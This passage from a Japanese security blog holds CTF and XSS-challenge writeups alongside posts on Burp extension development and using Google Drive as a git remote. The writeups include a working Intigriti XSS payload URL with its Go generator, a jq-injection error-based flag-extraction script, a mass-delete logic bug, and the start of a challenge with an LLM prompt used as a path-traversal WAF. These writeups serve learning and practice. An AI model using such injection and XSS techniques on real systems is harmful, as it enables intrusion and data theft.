よーでんのブログ

One for All,All for わんわんお!

Intigriti's August XSS challenge writeup

Intigriti's August XSS challenge

challenge-0823.intigriti.io

8/21 ~ 8/28 で開催されたXSS challenge。
後述の通り , を 99 個利用しており、解いた人の中では一番泥臭いことをしていそう。

概要

問題のjs部分のみを引用。

    <script>
      (function(){
        name = 'Pure Functional Math Calculator'
        let next
        Math.random = function () {
          if (!this.seeds) {
            this.seeds = [0.62536, 0.458483, 0.544523, 0.323421, 0.775465]
            next = this.seeds[new Date().getTime() % this.seeds.length]
          }
          next = next * 1103515245 + 12345
          return (next / 65536) % 32767
        }
        console.assert(Math.random() > 0)

        const result = document.querySelector('.result')
        const stack = document.querySelector('.stack-block')
        let operators = []

        document.querySelector('.pad').addEventListener('click', handleClick)

        let qs = new URLSearchParams(window.location.search)
        if (qs.get('q')) {
          const ops = qs.get('q').split(',')
          if (ops.length >= 100) {
            alert('Max length of array is 99, got:' + ops.length)
            return init()
          }

          for(let op of ops) {
            if (!op.startsWith('Math.')) {
              alert(`Operator should start with Math.: ${op}`)
              return init()
            }

            if (!/^[a-zA-Z0-9.]+$/.test(op)) {
              alert(`Invalid operator: ${op}`)
              return init()
            }
          }

          for(let op of ops) {
            addOperator(op)
          }

          calculateResult()
        } else {
          init()
        }

        function init() {
          addOperator('Math.random')
        }

        function addOperator(name) {
          result.innerText = `${name}(${result.innerText})`
          operators.push(name)

          let div = document.createElement('div')
          div.textContent = `${operators.length}. ${name}`
          stack.prepend(div)
        }

        function calculateResult() {
          result.innerText = eval(result.innerText)
        }

        function handleClick(e) {
          let className = e.target.className
          let text = e.target.innerText
          
          if (className === 'btn-fn') {
            addOperator(`Math.${text}`)
          } else if (className === 'btn-ac') {
            result.innerText = 'Math.random()';
            stack.innerHTML = '<div>1. Math.random</div>'
            operators = ['Math.random']
          } else if (className === 'btn-share'){
            alert('Please copy the URL!')
            location.search = '?q=' + operators.join(',')
          } else if (className === 'btn-equal') {
            calculateResult()
          }
        }
      })()

まずはこのjsでやってることを整理する。

クエリパラメータ q を取得し、"," で splitした結果が ops に格納される。

ops の各要素は Math. から始まる /^[a-zA-Z0-9.]+$/ にマッチする必要があり、その条件を満たしたときに result.innerText に反映される。
つまり Math.hogeMath.fuga.piyo のような形しか受け入れられず、Math オブジェクトに実装されているメソッドしか利用できない。

result.innerText が完成した後は ops入れ子構造にしていく。
例えば q=Math.random,Math.sin としたときは Math.sin(Math.random()) となる。
出来上がった result.innerTexteval して計算結果を反映するという流れ。

この状況で、alert(document.domain) を実行させることができればクリア。

writeup

関数の実行

関数を実行してくれそうなものがないと話にならない。
探してみたら、Array.prototype.reduce() なるものを見つけた。

developer.mozilla.org

配列の要素それぞれに対して、引数に渡した関数を実行させる関数。
試しに開発者ツールのconsoleで以下を実行してみると alert() が5回実行された。

Math.seeds.reduce(alert)

alert(document.domain) を実行するような関数を定義し、それを reduce に渡すことで実行させることができそうだ。

関数作成

alert(document.domain) を実行するような関数を定義したい。
後述の方法で文字列を作成できることは判明していたので、文字から関数を定義できれば良い。

Function.constructorが使える。

developer.mozilla.org

Math.abs.constructor("alert(document.domain)")()

これでalert(document.domain) が実行された。良い感じ。

文字列生成

では、 alert(document.domain) という文字列を作成していく。

['a', 'l', 'e', 'r', 't', '(', 'd', 'o', 'c', 'u', 'm', 'e', 'n', 't', '.', 'd', 'o', 'm', 'a', 'i', 'n', ')'].join([])
// alert(document.domain)

配列に1文字ずつ格納し、joinすることで文字列を生成する方針をとる。
(空配列でjoinしているのは空文字 "" が作成できないから。)

アルファベット生成

'a', 'l', 'e', 'r', 't', '(', 'd', 'o', 'c', 'u', 'm', 'e', 'n', 't', '.', 'd', 'o', 'm', 'a', 'i', 'n', ')' の文字をすべて Math.hogehoge() から作って push していく。

まずは Function.name を利用して関数名を String としてとってくる。
そしたら at(0) とかして 0 文字目を抽出。

developer.mozilla.org

Math.abs.name.at(0)
// a

これを配列に push していくことで配列を作っていく。対応表は以下。

"a": "Math.abs.name.at(Math.imul())"
"c": "Math.cbrt.name.at(Math.imul())"
"e": "Math.exp.name.at(Math.imul())"
"i": "Math.imul.name.at(Math.imul())"
"l": "Math.log.name.at(Math.imul())"
"m": "Math.max.name.at(Math.imul())"
"r": "Math.round.name.at(Math.imul())"
"t": "Math.tan.name.at(Math.imul())"
"d": "Math.constructor.defineProperties.name.at(Math.imul())"
"n": "Math.sin.name.at(Math.exp(Math.cos(Math.imul())))"
"o": "Math.cos.name.at(Math.cos(Math.imul()))"
"u": "Math.trunc.name.at(Math.exp(Math.cos(Math.imul())))"

at の引数として、0, 1, 2 を以下のように生成している。

0: "Math.imul()"
1: "Math.cos(Math.imul())"
2: "Math.exp(Math.cos(Math.imul()))"

ただ、これでは "(", ".", ")" が生成できない。

記号生成

記号は fromCharCode を使って気合で作成。

Math.abs.name.constructor.fromCharCode(40)
// (
Math.abs.name.constructor.fromCharCode(41)
// )
Math.abs.name.constructor.fromCharCode(46)
// .

Math.cos とかの組み合わせで 40, 41, 46 を作る必要がある。対応表は以下。

40: "Math.floor(Math.exp(Math.acosh(Math.exp(Math.ceil(Math.exp(Math.cos(Math.imul())))))))"
41: "Math.ceil(Math.exp(Math.acosh(Math.exp(Math.ceil(Math.exp(Math.cos(Math.imul())))))))"
46: "Math.floor(Math.expm1(Math.acosh(Math.exp(Math.exp(Math.cbrt(Math.cosh(Math.cos(Math.imul()))))))))"

空配列に対してこれらを push していくことで join させるための配列が作成できる。

空配列

今までスルーしていたが、各所で空配列が必要。

developer.mozilla.org

Array オブジェクトに splice というメソッドがあり、これに 0 を渡すことで Array を空にできる。

Math.seeds.splice(0)
// (5) [0.62536, 0.458483, 0.544523, 0.323421, 0.775465]
Math.seeds
// []

組み合わせる

ここまでで作成した奴らを組み合わせる。
以下は検証中に作成していたコード。

package main

import (
    "fmt"
    "strings"
)

func reverse(s string) string {
    runes := []rune(s)
    for i, j := 0, len(runes)-1; i < j; i, j = i+1, j-1 {
        runes[i], runes[j] = runes[j], runes[i]
    }
    return string(runes)
}

func main() {
    m := map[string]string{
        "a": "Math.abs.name.at(Math.imul(",
        "c": "Math.cbrt.name.at(Math.imul(",
        "e": "Math.exp.name.at(Math.imul(",
        "f": "Math.floor.name.at(Math.imul(",
        "h": "Math.hypot.name.at(Math.imul(",
        "i": "Math.imul.name.at(Math.imul(",
        "l": "Math.log.name.at(Math.imul(",
        "m": "Math.max.name.at(Math.imul(",
        "p": "Math.pow.name.at(Math.imul(",
        "r": "Math.round.name.at(Math.imul(",
        "s": "Math.sign.name.at(Math.imul(",
        "t": "Math.tan.name.at(Math.imul(",
        "v": "Math.valueOf.name.at(Math.imul(",

        "d": "Math.constructor.defineProperties.name.at(Math.imul(",
        "n": "Math.sin.name.at(Math.exp(Math.cos(Math.imul(",
        "o": "Math.cos.name.at(Math.cos(Math.imul(",
        "u": "Math.trunc.name.at(Math.exp(Math.cos(Math.imul(",
        "(": "Math.abs.name.constructor.fromCharCode(Math.floor(Math.exp(Math.acosh(Math.exp(Math.ceil(Math.exp(Math.cos(Math.imul(",
        ")": "Math.abs.name.constructor.fromCharCode(Math.ceil(Math.exp(Math.acosh(Math.exp(Math.ceil(Math.exp(Math.cos(Math.imul(",
        ".": "Math.abs.name.constructor.fromCharCode(Math.floor(Math.expm1(Math.acosh(Math.exp(Math.exp(Math.cbrt(Math.cosh(Math.cos(Math.imul(",
    }
    var q string
    q += "Math.seeds.reduce("                 // 実行
    q += "Math.abs.constructor("              // 文字列から関数を定義
    q += "Math.seeds.join(Math.seeds.splice(" // arrayを空配列でjoin

    // 2. 後ろから1文字ずつpush
    for _, v := range strings.Split(reverse("(document.domain)"), "") {
        q += "Math.seeds.push(" + m[v]
    }

    // 2. 後ろから1文字ずつpush。(push時の返り値を利用することで一文字でも少なく済ませる)
    q += "Math.seeds.push(Math.hypot.name.at("           // t
    q += "Math.seeds.push(Math.round.name.at(Math.imul(" // r
    q += "Math.seeds.push(Math.exp.name.at(Math.imul("   // e
    q += "Math.seeds.push(Math.clz32.name.at("           // l
    q += "Math.seeds.push(Math.abs.name.at("             // a

    // 1. seedsを空に
    q += "Math.seeds.splice(Math.imul"

    qs := strings.Split(q, "(")
    fmt.Println("len:", len(qs))
    for i := range qs {
        fmt.Printf("%v,", qs[len(qs)-1-i])
    }
}

単純に組み合わせるだけだと ( が個数制限を3つ越してしまった。

そこで push 時の返り値に seeds の長さが返ってくることに着目し、at(0)a が, at(1)l があるような関数名を利用して Math.imul( を3つだけ省略することができた。

できがったURLは以下。
, が99個制限で、使っているのが99個というギリギリ具合。

https://challenge-0823.intigriti.io/challenge/index.html?q=Math.imul,Math.seeds.splice,Math.abs.name.at,Math.seeds.push,Math.clz32.name.at,Math.seeds.push,Math.imul,Math.exp.name.at,Math.seeds.push,Math.imul,Math.round.name.at,Math.seeds.push,Math.hypot.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.ceil,Math.exp,Math.acosh,Math.exp,Math.floor,Math.abs.name.constructor.fromCharCode,Math.seeds.push,Math.imul,Math.constructor.defineProperties.name.at,Math.seeds.push,Math.imul,Math.cos,Math.cos.name.at,Math.seeds.push,Math.imul,Math.cbrt.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.trunc.name.at,Math.seeds.push,Math.imul,Math.max.name.at,Math.seeds.push,Math.imul,Math.exp.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.sin.name.at,Math.seeds.push,Math.imul,Math.tan.name.at,Math.seeds.push,Math.imul,Math.cos,Math.cosh,Math.cbrt,Math.exp,Math.exp,Math.acosh,Math.expm1,Math.floor,Math.abs.name.constructor.fromCharCode,Math.seeds.push,Math.imul,Math.constructor.defineProperties.name.at,Math.seeds.push,Math.imul,Math.cos,Math.cos.name.at,Math.seeds.push,Math.imul,Math.max.name.at,Math.seeds.push,Math.imul,Math.abs.name.at,Math.seeds.push,Math.imul,Math.imul.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.sin.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.ceil,Math.exp,Math.acosh,Math.exp,Math.ceil,Math.abs.name.constructor.fromCharCode,Math.seeds.push,Math.seeds.splice,Math.seeds.join,Math.abs.constructor,Math.seeds.reduce

このURLを開くと、alert(document.domain) が22回実行される。
おそらく "(", ")", "." の生成にメソッドを使いすぎているので、それがなければもうちょっと綺麗にできそう。

Montoya APIを利用したBurp extensionsの開発

Montoya API

Montoya APIなるものを知った。
お手軽にBurp extensionが書けそうな気配がするので試してみる。

まずはexampleの実行から。

helloworld

github.com

READMEにある通り、いろいろ用意してくれている。
まずは Hello World で軽く動作確認してみる。

git clone https://github.com/PortSwigger/burp-extensions-montoya-api-examples.git
cd burp-extensions-montoya-api-examples/helloworld/

ディレクトリ構造は以下の通り。

.
├── build.gradle
├── README.md
└── src
    └── main
        └── java
            └── example
                └── helloworld
                    └── HelloWorld.java

6 directories, 3 files

大事なのは HelloWorld.java だろう。 ソースは以下。かなり単純に書いてくれている。

github.com

軽く読んでみると、Output, Error, Eventlogにログ出力した後にRuntimeExceptionを投げている。

では実際にビルドして動かしてみよう。
build.gradle を用意してくれているので、以下コマンドでビルドする。

gradle build

数秒待つと、build/libs/helloworld-1.0.0.jar が生成されるので、これを Burp からロードすることで拡張機能が有効化する。

この時点でOutputに出力されたログが出てくる。

Hello world extension - Output

Errors タブに切り替えれば Error に出力されたログとRuntimeExceptionエラーが。

Hello world extension - Errors

Dashboardタブの Event log では、Type が Info, Error, Critical のログが出力されていることが確認できる。

Hello world extension - Event log

ということで、一番簡単な拡張機能のコードと動作が確認できた。

固定置換拡張機能

portswigger.github.io

Hello world はログを出力するだけだったので、他の拡張機能やドキュメントを読んだりしながら「リクエスト中の hogefua に置換するだけの拡張機能」を作成してみる。( fuga にしなかったのは Content-Length を更新できてるか見たかったから )

javaは書きなれてないが、動けばヨシとする。

Replace.java は main 的な役割として、他ファイルで定義したclassを読み込む形で作成。

package replace;

import burp.api.montoya.BurpExtension;
import burp.api.montoya.MontoyaApi;

public class Replace implements BurpExtension
{
    @Override
    public void initialize(MontoyaApi api)
    {
        api.extension().setName("My Replace extension");

        api.http().registerHttpHandler(new ReplaceHandler(api));
    }
}

ReplaceHandler.java

package replace;

import burp.api.montoya.MontoyaApi;
import burp.api.montoya.http.handler.*;
import burp.api.montoya.http.message.requests.HttpRequest;
import burp.api.montoya.logging.Logging;

import static burp.api.montoya.http.handler.RequestToBeSentAction.continueWith;
import static burp.api.montoya.http.handler.ResponseReceivedAction.continueWith;

class ReplaceHandler implements HttpHandler {
    private final Logging logging;

    public ReplaceHandler(MontoyaApi api) {
        this.logging = api.logging();
    }

    @Override
    public RequestToBeSentAction handleHttpRequestToBeSent(HttpRequestToBeSent requestToBeSent) {
        HttpRequest modifiedRequest = requestToBeSent;

        modifiedRequest = HttpRequest.httpRequest(modifiedRequest.httpService(), modifiedRequest.toString().replace("hoge", "fua"));
        modifiedRequest = modifiedRequest.withBody(modifiedRequest.body().toString()); // update Content-Length

        logging.logToOutput("--------original----------\n" + requestToBeSent.toString());
        logging.logToOutput("--------replace-----------\n" + modifiedRequest.toString());

        return continueWith(modifiedRequest);
    }

    @Override
    public ResponseReceivedAction handleHttpResponseReceived(HttpResponseReceived httpResponseReceived) {
        return continueWith(httpResponseReceived);
    }
}

ビルドしてロードする。
ローカルに適当なサーバを立て、hogeをいっぱい入れてリクエストしてみた。

Output にオリジナルと置換後のリクエストを出力しているので、そこから実行結果が見れる。(loggerから見るのもアリ)

--------original----------
POST /hoge?hoge=hoge HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
hoge: hoge

hoge=hoge
--------replace-----------
POST /fua?fua=fua HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
fua: fua

fua=fua

うまく動いてそうだ。
(このあたりで、ビルドしなおしたときは Extensions タブの Loaded からチェックボックスを一度外して付け直すだけで新しいバージョンがロードされることを知った)

自由置換拡張機能

hoge -> fua はかなり端的に書けた。
これだけだと不便なので、今度はいわゆる needle と replace を Burp の画面から指定できるようにする。

Replace.javainitialize に以下を追加。(Handlerは引数を追加)

        ReplacerTab replacerTab = new ReplacerTab();
        api.http().registerHttpHandler(new ReplaceHandler(api, replacerTab));
        api.userInterface().registerSuiteTab("montoya_replace", replacerTab);

ReplacerTab.java で class を定義。UIのいろいろをここに書く。
ここの入力値をとるために、一応ゲッターも定義。

package replace;

import javax.swing.*;

public class ReplacerTab extends JComponent {
    private JTextField needle;
    private JTextField replace;

    public ReplacerTab() {
        setLayout(new BoxLayout(this, BoxLayout.PAGE_AXIS));

        JPanel customTabContent = new JPanel();

        JLabel needleLabel = new JLabel("needle");
        customTabContent.add(needleLabel);

        this.needle = new JTextField(20);
        customTabContent.add(this.needle);

        JLabel replaceLabel = new JLabel("replace");
        customTabContent.add(replaceLabel);

        this.replace = new JTextField(20);
        customTabContent.add(this.replace);

        add(customTabContent);
    }

    public String getNeedle() {
        return this.needle.getText();
    }

    public String getReplace() {
        return this.replace.getText();
    }
}

そうしたら ReplaceHandler.java でも needle と replace を作成し、replace時にそれらから値をとってくるようにする。

class ReplaceHandler implements HttpHandler {
    private final Logging logging;
    private final ReplacerTab replacerTab;

    public ReplaceHandler(MontoyaApi api, ReplacerTab replacerTab) {
        this.logging = api.logging();
        this.replacerTab = replacerTab;
    }

    @Override
    public RequestToBeSentAction handleHttpRequestToBeSent(HttpRequestToBeSent requestToBeSent) {
        HttpRequest modifiedRequest = requestToBeSent;
        String needle = this.replacerTab.getNeedle();
        String replace = this.replacerTab.getReplace();
        if (!needle.isEmpty()) {
            modifiedRequest = HttpRequest.httpRequest(requestToBeSent.httpService(),
                    requestToBeSent.toString().replace(needle, replace));
            modifiedRequest = modifiedRequest.withBody(modifiedRequest.body().toString()); // update Content-Length

            logging.logToOutput("--------original----------\n" + requestToBeSent.toString());
            logging.logToOutput("--------replace-----------\n" + modifiedRequest.toString());
        }

        return continueWith(modifiedRequest);
    }
  :

完成系は以下。

github.com

拡張機能のタブはこんな感じで、needle と replace を指定できるだけ。

montoya_replace - Tab

GUIから画像のように指定した時、リクエストに <test> を含めて送信してみると waiwai に置換されていることが確認できる。

--------original----------
GET /?<test> HTTP/1.1
Host: localhost:8000


--------replace-----------
GET /?waiwai HTTP/1.1
Host: localhost:8000


ということで、簡易的なBurpの拡張機能作成を体験してみた。
montoya 以前の拡張機能作成の経験はないが、思ったより作りやすい気がする。

zer0pts CTF 2023

web upsolve

土日は普通に予定ありまくりだったので、終わってからregisterするという初めての体験をしました。
月曜日の祝日を使って2問だけupsolveできたのでそのwriteup。

まだまだweb問あるけど、これ以上解くのはしんどいのでwriteupを読んできます。。。

Warmuprofile

I made an app to share your profile.

URLにアクセスすると「Container Spawner」という画面がでる。どうやら個人用のインスタンスが用意される系の問題みたいだ。
生成すると、600秒限定でアクセスできるインスタンスが生えてきた。
ありがたいことに docker compose で起動できるので、基本的にはローカルで検証するのがよさそうだ。

Warmuprofile - TOP

register と login がある。
register では既存のIDを重複して作成することはできない。適当に作成してログインしてみる。

Warmuprofile - loggedin

プロフィール閲覧、ユーザ削除、フラグ取得、ログアウトがある。

プロフィール閲覧とログアウトは特に気になるところはなく、フラグ取得はユーザIDが admin の時のみ実行可能という感じ。

ユーザ削除だけちょっと不思議に思う箇所があった。

app.post('/user/:username/delete', needAuth, async (req, res) => {
    const { username } = req.params;
    const { username: loggedInUsername } = req.session;
    if (loggedInUsername !== 'admin' && loggedInUsername !== username) {
        flash(req, 'general user can only delete itself');
        return res.redirect('/');
    }

    // find user to be deleted
    const user = await User.findOne({
        where: { username }
    });

    await User.destroy({
        where: { ...user?.dataValues }
    });

    // user is deleted, so session should be logged out
    req.session.destroy();
    return res.redirect('/');
});

わざわざ findOne したうえでそれを destroy に渡している。
ここで findOne の結果が0件だった時にどうなるかを試してみたい。

    // find user to be deleted
    const user = await User.findOne({
        where: { username }
    });

    await User.destroy({
        where: { ...user?.dataValues }
    });

    // find user to be deleted
    const user2 = await User.findOne({
        where: { username }
    });

    await User.destroy({
        where: { ...user2?.dataValues }
    });
warmuprofile-app-1  | Executing (default): SELECT `id`, `username`, `password`, `profile`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE `User`.`username` = 'a';
warmuprofile-app-1  | Executing (default): DELETE FROM `Users` WHERE `id` = 2 AND `username` = 'a' AND `password` = 'a' AND `profile` = 'a' AND `createdAt` = '2023-07-17 09:22:26.483 +00:00' AND `updatedAt` = '2023-07-17 09:22:26.483 +00:00'
warmuprofile-app-1  | Executing (default): SELECT `id`, `username`, `password`, `profile`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE `User`.`username` = 'a';
warmuprofile-app-1  | Executing (default): DELETE FROM `Users`

Users テーブルの全レコードが削除された。これで admin を登録すれば flag が手に入る。
わざわざ環境を切り離していることからもこの方針で間違いなさそう。

問題は「どうやって User.destroy を2回実行させるか」というところ。

削除対象の usernamereq.param なのでどうにでもなるが、loggedInUsername となる username はセッションから取っている。
loggedInUsernameが正しくないと削除は実行されないし、削除後に session.destroy されてるのでセッションの使いまわしは不可。

ここで、重複ログイン状態で有効なセッションが2つあるときにそれぞれから削除を実行することでうまく行きそうだと思いついた。
プライベートタブを利用して同じアカウントに重複ログインし、アカウント削除をそれぞれから実行する。

これでUsersテーブルの全レコードが削除される。
ユーザID admin で登録してみたらそのまま flag が取得できた。

Warmuprofile - FLAG

jqi

I think jq is useful, so I decided to make a Web app that uses jq.

jqi - TOP

Keys で指定したフィールドのみを取得することができ、Conditions は文字列検索みたいな感じ。
ただ、keys には規定の文字以外入らない上に conds を指定したら「demoバージョンでは使えないよ」って言われる。

const KEYS = ['name', 'tags', 'author', 'flag'];
:
    for (const key of keys) {
        if (!KEYS.includes(key)) {
            return reply.send({ error: 'invalid key' });
        }
    }
:
    let result;
    try {
        result = await jq.run(query, './data.json', { output: 'json' });
    } catch(e) {
        return reply.send({ error: 'something wrong' });
    }

    if (conds.length > 0) {
        reply.send({ error: 'sorry, you cannot use filters in demo version' });
    } else {
        reply.send(result);
    }

ただ、conds のエラー処理は jq.run よりも後にある。
jq.run 時にエラーが起きた場合は catch が実行されるので、「something wrong」となるはず。
この辺で「エラーベースで特定できるのかな」と想像がつく。

もう少し細かく読んでいると、 index.js の43行目あたりで "\( をはじいていた。

        // check if the query is trying to break string literal
        if (str.includes('"') || str.includes('\\(')) {
            return reply.send({ error: 'hacking attempt detected' });
        }

「構文崩す系の攻撃が刺さるのかな?」と予想して、node-jq のコードをチラ見しに行ったら exec していた。

github.com

exec(command, args, stdin, cwd)

いつもの jq でデバッグすれば同じ挙動をしてくれそうだとわかる。

それでは、query がどう組み立てられているかを見ていく。

    const keys = 'keys' in request.query ? request.query.keys.toString().split(',') : KEYS;
    const conds = 'conds' in request.query ? request.query.conds.toString().split(',') : [];
:
    // build query for selecting keys
    for (const key of keys) {
        if (!KEYS.includes(key)) {
            return reply.send({ error: 'invalid key' });
        }
    }
    const keysQuery = keys.map(key => {
        return `${key}:.${key}`
    }).join(',');

    // build query for filtering results
    let condsQuery = '';

    for (const cond of conds) {
        const [str, key] = cond.split(' in ');
        if (!KEYS.includes(key)) {
            return reply.send({ error: 'invalid key' });
        }

        // check if the query is trying to break string literal
        if (str.includes('"') || str.includes('\\(')) {
            return reply.send({ error: 'hacking attempt detected' });
        }

        condsQuery += `| select(.${key} | contains("${str}"))`;
    }

    let query = `[.challenges[] ${condsQuery} | {${keysQuery}}]`;
    console.log('[+] keys:', keys);
    console.log('[+] conds:', conds);
    console.log('[+] query:', query);

最後の query の出力はデバッグ用に自分で追加した。

http://localhost:8300/api/search?keys=name&conds=test+in+name としたときの出力が以下。

jqi-app-1  | [+] keys: [ 'name' ]
jqi-app-1  | [+] conds: [ 'test in name' ]
jqi-app-1  | [+] query: [.challenges[] | select(.name | contains("test")) | {name:.name}]

conds を複数にしたら query はこうなる。
http://localhost:8300/api/search?keys=name&conds=test+in+name,test2+in+name

jqi-app-1  | [+] query: [.challenges[] | select(.name | contains("test"))| select(.name | contains("test2")) | {name:.name}]

先述の通り、"\\( は弾かれるので使えない。
が、\\ は見られてないので、一個目の cond\\ にすることで二個目の cond でダブルクォートの外に出れる。
http://localhost:8300/api/search?keys=name&conds=\+in+name,))]+in+name

jqi-app-1  | [+] query: [.challenges[] | select(.name | contains("\"))| select(.name | contains("))]")) | {name:.name}]

この時点でレスポンスは something wrong になっている。対応するカッコを閉じても後ろのゴミで構文エラーになってるっぽい?
何か記号とか使ってコメントアウトできないかなと Intruder を回していると、# で「sorry, you cannot use filters in demo version」となった。構文エラーから脱出できた。
http://localhost:8300/api/search?keys=name&conds=\+in+name,))]%23+in+name

問題はここからどうやって環境変数を読むかだが、調べていると jq 内では env.FLAG で取得できるようだ。

jq env

また、if 文や計算とかもできるみたい。おなじみのゼロ除算で行けそう。
しばらくコマンドラインとにらめっこして出来上がったのが以下。

┌──(yoden㉿y0d3n-DESKTOP)-[~/work/ctf/zer0ptsCTF2023/jqi]
└─$ export FLAG="fake"

┌──(yoden㉿y0d3n-DESKTOP)-[~/work/ctf/zer0ptsCTF2023/jqi]
└─$ echo "{}" | jq '1/if env.FLAG | startswith([102]|implode) then 1 else 0 end'
1

┌──(yoden㉿y0d3n-DESKTOP)-[~/work/ctf/zer0ptsCTF2023/jqi]
└─$ echo "{}" | jq '1/if env.FLAG | startswith([103]|implode) then 1 else 0 end'
jq: error (at <stdin>:1): number (1) and number (0) cannot be divided because the divisor is zero

http://localhost:8300/api/search?keys=name&conds=\+in+name,))]|1/if+env.FLAG+|+startswith([110]|implode)+then+1+else+0+end%23+in+name
これでエラーベースに1文字ずつ特定できる。

import requests

flg = [ord(c) for c in "zer0pts{"]

pref = 'http://localhost:8300/api/search?keys=name&conds=\+in+name,))]|1/if+env.FLAG+|+startswith('
suff = '|implode)+then+1+else+0+end%23+in+name'

c = 0
while chr(c) != "}":
    # zer0pts\{[\x20-\x7e]+\}
    for c in range(32, 126):
        u = pref + "[" + "]%2b[".join(str(i) for i in flg) + f"]%2b[{c}]" + suff
        print("".join([chr(i) for i in flg]) + chr(c), end="\r")
        response = requests.get(u)
        if len(response.text) == 57:
            flg.append(c)
            break
    print("".join([chr(i) for i in flg]))

(フラグフォーマットの zer0pts{ を決め打ちにしていたら、ローカルの fake flag は nek0pts{ になっていてかなり悩んでしまった)

開催が終わったからか、APIがかなり遅いのでリモートでは2文字だけ特定して終わりにしておいた。

┌──(yoden㉿y0d3n-DESKTOP)-[~/work/ctf/zer0ptsCTF2023/jqi]
└─$ py solve.py 
zer0pts{1
zer0pts{1d
^CTraceback (most recent call last):

ローカルではすぐ特定できたので満足。

jqi - FLAG

GitHubを使わずにリモートリポジトリっぽいことをする

リモートリポジトリっぽいことをする

GitHubを使わずにいい感じにバージョン管理しながらリモートに置いておきたいときのテクニック。
Google Drive と WSL2 をいい感じに組み合わせてできたのと、Gitの仕組みの勉強にもなったので備忘録

先に断っておくと、ここで紹介するのは一人で管理する用の手順です。
同様の手順でGoogle Driveの共有ドライブを使えば複数人の作業も可能だとは思います。

パソコン版ドライブ

Google Driveを開き、右上の歯車から「パソコン版ドライブをダウンロード」を押してポチポチダウンロード。

パソコン版ドライブをダウンロード

ダウンロード後、自分のGoogleアカウントでログイン。
これで G:\ としてマウントされて、以下のように表示されるはず。

G:\

WSL2

まず、G:\をマウントしたい。
これはやらなくてもマウントされてることもあったし、されてないこともあった。
WSLから /mnt/gls してみて、中身が空ならやる必要がある。

マウントポイントを作成して、WSLにログイン中のユーザでマウント。
rootのままマウントしてると後でエラーになる。

sudo mkdir /mnt/g
sudo mount -t drvfs -o uid=`id -u`,gid=`id -g`,username=`whoami` G: /mnt/g

再起動とか、何かしらのはずみでマウントが解除されたりしたら mount のコマンドだけ都度やる必要がある。

そしたら、リモート用のgitディレクトリを作成。
ベアリポジトリという概念を初めて知った。 git init のオプションでいい感じに作れるらしい。
(複数人で共有したいときは マイドライブ 部分を 共有ドライブ とかにすれば同じことができるはず。)

mkdir -p /mnt/g/マイドライブ/DriveHub/repo.git
cd /mnt/g/マイドライブ/DriveHub/repo.git/
git init --bare --shared
git branch -m main

これでリモート用のgitディレクトリの準備が完了。
試しにクローンしていつものコマンド群。

git clone /mnt/g/マイドライブ/DriveHub/repo.git
cd repo/
echo "#repo" > README.md
git add README.md
git commit -m "init"
git push origin main

push した際、 /mnt/g/マイドライブ/DriveHub/repo.git の変更が Google Drive アプリを通じて同期されるまで待たないと行けないのが玉に瑕。

共有

別のPCでパソコン版ドライブをダウンロードし、同一のアカウントでログイン。

/wsl/g が生えてない場合は、さっきの手順でWSLからマウント。
ベアリポジトリは既に /mnt/g/マイドライブ/DriveHub/repo.git にあるので、それを clone だけすれば良い。

$ git clone /mnt/g/マイドライブ/DriveHub/repo.git/
Cloning into 'repo'...
done.
fatal: 'refs/remotes/origin/desktop.ini' has a null OID

と、ここでエラー。desktop.ini さんがエラーを起こしてる。。。
ベアリポジトリcd して desktop.ini再帰的に削除。

cd /mnt/g/マイドライブ/DriveHub/repo.git/
find . -name 'desktop.ini' -exec rm -f {} \;

もう一回 clone したらいけた。

$ git clone /mnt/g/マイドライブ/DriveHub/repo.git/
Cloning into 'repo'...
done.

これでGoogle Driveを利用してリモートリポジトリっぽい感じにできた。

SECCON Beginners CTF 2023

SECCON Beginners CTF 2023 Web writeup

Web全完ならず。
解けなかったoooauthはどうやら方針はあってたようで、検証方法の所為でうまくいってなかったみたいでした・・・

Forbidden, aiwaf, phiser2, double check の writeup を書いていきます。

Forbidden (beginner: 56pt / 431solved)

You don't have permission to access /flag on this server.

Forbidden - TOP

アクセスすると「FLAGはこちら」と丁寧にflagへの案内がされている。
まずは素直にしたがってクリックしてみると、「Forbidden :(」と言われた。

Forbidden - forbidden

ソースコードが配布されているので、読んでみないと何もわからなそうだ。
Forbidden/app/index.js を読むと express を利用してることがわかる。また、/flag に関係する箇所だけ抜き出してみる。

const block = (req, res, next) => {
    if (req.path.includes('/flag')) {
        return res.send(403, 'Forbidden :(');
    }

    next();
}

app.get("/flag", block, (req, res, next) => {
    return res.send(FLAG);
})

/flag へアクセスできれば flag が手に入りそうだが、block においてリクエストのパスの部分が /flag という文字列を含む場合に Forbidden が返ってきてしまう。

ここで、express の get は大文字小文字を判別しないため、 /flaG のような形でアクセスしてあげれば includes('/flag') をすり抜けることができる。

Forbidden - flag

ctf4b{403_forbidden_403_forbidden_403}

aiwaf (easy: 68pt / 254solved)

AI-WAFを超えてゆけ!! ※AI-WAFは気分屋なのでハックできたりできなかったりします。

aiwaf - TOP

アクセスすると3つリンクがあり、「あ書」をクリックすると /?file=book0.txt に飛ぶ。

aiwaf - aiwaf

いかにもディレクトリトラバーサルっぽい見た目なので試してみたが、AIに検知された。
ソースコードを見に行く。

@app.route("/")
def top():
    file = request.args.get("file")
    if not file:
        return top_page
    if file in ["book0.txt", "book1.txt", "book2.txt"]:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read()
    # AI-WAF
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
    try:
        response = openai.ChatCompletion.create(
            model="gpt-3.5-turbo",
            messages=[
                {
                    "role": "user",
                    "content": prompt,
                },
            ],
        )
        result = response.choices[0]["message"]["content"].strip()
    except:
        return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
    if "No" in result:
